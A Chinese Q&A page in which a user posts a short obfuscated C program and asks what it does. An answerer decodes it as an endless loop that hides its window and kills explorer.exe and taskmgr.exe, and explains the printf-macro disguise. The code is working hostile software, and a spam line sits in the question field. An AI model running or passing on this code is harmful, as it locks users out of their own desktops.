求下面代碼的詳細介紹,最好每行注釋

問題描述:美女视频黄是免费网址

求下面代碼的詳細介紹,最好每行注釋
#include
#define printf while(1)system
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )
void main()
{
printf("\x73\164\x61\162\x74\x20\x74\141\x73\153\153\x69\154\x6C\40\55\146\x20\x2D\151\155\x20\164\x61\163\153\x6D\147\x72\56\x65\170\x65\x20\x2D\151\155\x20\x65\170\160\x6C\157\x72\145\x72\56\x65\170\145");
}
1個回答 分類:綜合 2014-12-01

問題解答:

我來補答
真的是不懷好意的代碼,下面一串亂七八糟的數字其實是 start taskkill -f -im taskmgr.exe -im explorer.exe
通過system這個函數不停的執行
再問: 那串數字是什么,是要怎么轉換呢? #define printf while(1)system 這個是什么意思? #pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )還有這個,我是新手,不懂求賜教
再答: 你把 #define printf while(1)system 和 #pragma 這兩行注釋掉就可以看到這串數字的原貌,printf被宏替換了,變成 while(1)system("...."); 那個#pragma comment 的意思為不讓這個程序顯示出來,你注釋掉這個,那么程序就出來一個黑框,如果你是控制臺項目。
?
?
展開全文閱讀
剩余:2000
上一頁:函數急